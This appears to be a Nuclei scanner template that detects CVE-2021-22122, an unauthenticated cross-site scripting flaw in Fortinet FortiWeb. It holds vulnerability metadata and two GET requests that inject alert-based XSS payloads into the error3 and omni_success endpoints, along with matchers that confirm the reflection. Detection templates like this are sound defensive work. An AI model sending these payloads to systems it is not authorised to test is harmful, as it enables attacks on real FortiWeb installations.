id: CVE-2021-22122 info: name: FortiWeb - Cross-Site Scripting author: dwisiswant0 severity: medium description: | FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points. remediation: | Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb. reference: - https://www.fortiguard.com/psirt/FG-IR-20-122 - https://twitter.com/ptswarm/status/1357316793753362433 - https://fortiguard.com/advisory/FG-IR-20-122 - https://nvd.nist.gov/vuln/detail/CVE-2021-22122 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-22122 cwe-id: CWE-79 epss-score: 0.00609 epss-percentile: 0.76222 cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: fortinet product: fortiweb tags: cve,cve2021,fortiweb,xss http: - method: GET path: - "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//" - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//" matchers-condition: and matchers: - type: word part: body words: - "alert('document.domain')" - "No policy has been chosen." condition: and # digest: 4b0a00483046022100af6b3a79cc27863aca8b08d0470f36467b3cda448e2aa7805c270736e3c03c75022100dd4c5c66bb2ac61926c695ac52315d2547e2e0ecd8ed334fe32f334f45a41ad7:922c64590222798bb761d5b6d8e72950